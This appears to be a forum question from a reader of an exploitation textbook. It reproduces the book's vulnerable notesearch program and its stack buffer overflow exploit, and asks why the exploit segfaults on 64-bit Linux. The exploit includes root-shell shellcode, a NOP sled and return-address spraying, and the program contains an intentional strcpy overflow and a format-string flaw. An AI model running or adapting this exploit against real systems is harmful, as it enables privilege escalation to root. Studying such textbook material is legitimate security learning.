I have purchased this book called "Hacking, The Art of Exploitation", and there is a program in it that is a buffer overflow exploit from a program that showed up previously in the book. There are a few issues that I have run into. First of all, if I try to run the program I get a segmentation fault (even though the author ran the same exact commands as I am and he isn't getting any issues) My second issue is that I think that the author did a poor job explaining what exactly going on. I'm confused how this exploit 1) determines the offset value 2) Uses a NOP sled to find the return address (how does this work) 3) how does the shellcode say what is happening/what does it say/how can i read it.
The code to the program being exploited is:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h" //Just an error checked malloc and an error message/exit function
#define FILENAME "/var/notes"
void fatal(char *);
int print_notes(int, int, char *);
int find_user_note(int, int);
int search_note(char *, char *);
int main(int argc, char *argv[]) {
int fd, userid, printing = 1;
char searchstring[100];
if (argc > 1)
strcpy(searchstring, argv[1]);
else
searchstring[0] = 0;
userid = getuid();
fd = open(FILENAME, O_RDONLY);
if(fd == -1) {
fatal("in main opening file");
}
while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}
// A function to print the notes for a given uid that match an optional searchstring
// Returns 0 at end of file, 1 if still more notes
int print_notes(int fd, int uid, char *searchstring){
int note_length;
char byte = 0;
char note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1) //If end of file reached
return 0; // Return 0;
read(fd, note_buffer, note_length); // Read More Data
note_buffer[note_length] = 0; // Terminate the String
if(search_note(note_buffer, searchstring)) //If searchstring found
printf(note_buffer); //Print the note
return 1;
}
// A function to find the next note for a given userID
// Returns -1 if the end of the file is reached
// Otherwise, it returns the length of the found note
int find_user_note(int fd, int user_uid) {
int note_uid = -1;
unsigned char byte;
int length;
while(note_uid != user_uid) { // Loop unitl a note for user_uid is found
if(read(fd, ¬e_uid, 4) != 4) // Read the uid data
return -1; // If 4 bytes arent read, return end of file code
if(read(fd, &byte, 1) != 1) //Read the newline separtor
return -1;
byte = length = 0;
while(byte != '\n') { // Figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // Read Single byte
return -1; // If byte isn't read, return end of file code
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // Rewind file by reading length bytes
printf("[DEBUG] found a %i byte note for user id %i\n", length, note_uid);
return length;
}
//A function to search a note for a given keyword
// Returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword){
int i, keyword_length, match=0;
keyword_length = strlen(keyword);
if(keyword_length == 0) // If there is no searchstring
return 1; //Always match
for(i=0; i < strlen(note); i++){ // Iterate over bytes in note
if(note[i] == keyword[match]) // If byte matches keyword
match++; // Get ready to check nexy byte
else {
if(note[i] == keyword[match]) // If byte matches keyword
match = 1; // Start the match count at 1
else
match = 0; // Otherwise its zero
}
if(match == keyword_length) // If there is a full match
return 1; // return match
}
return 0; // return not matched
}
The exploit that is included is:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset = 270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); //Zero out the new memory
strcpy(command, "./notesearch \'");
buffer = command + strlen(command); // Set buffer at the end
if(argc > 1) //Set offset
offset = atoi(argv[1]);
ret = (unsigned int)&i - offset; //Set return address
for(i=0; i <160; i+=4) //Fill buffer with return addres
*((unsigned int *)(buffer + i)) = ret;
memset(buffer, 0x90, 60); //Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode) -1);
strcat(command, "\'");
system(command); //Run Exploit
free (command);
}
Note about that code: I get a warning on the line that assigns the address of i - offset. I'm pretty sure that this is because since I'm using a 64 bit machine, a pointer is 8 bytes while a unsigned int is only 4. To counter this, I typcasted into a long unsigned int. I'm not sure if that is good practice, but correct me when I am wrong.
So what I changed it to is:
ret = (unsigned int)&i - offset; //Set return address
I have used gdb to analyze whats going on and I found the segmentation fault to happen during the line
system(command); // Run Exploit
I also have used gdb to thoroughly examine the memory at the addresses of all variables throught the program and I have noticed that when the author of the book examines the contents of the command variable (while it has the shellcode in it), his output shows a bunch of wacky characters, but mine shows numbers and slashes. Why is there a difference?
My main point is that I don't know is how to stop this segmentation fault from happening but still getting this exploit to work correctly. If someone would be able to help me out that would be great. If anyone needs more information, I would be happy to provide it.
PS- I am running kali linix 64 bit if (if that might help you determine something)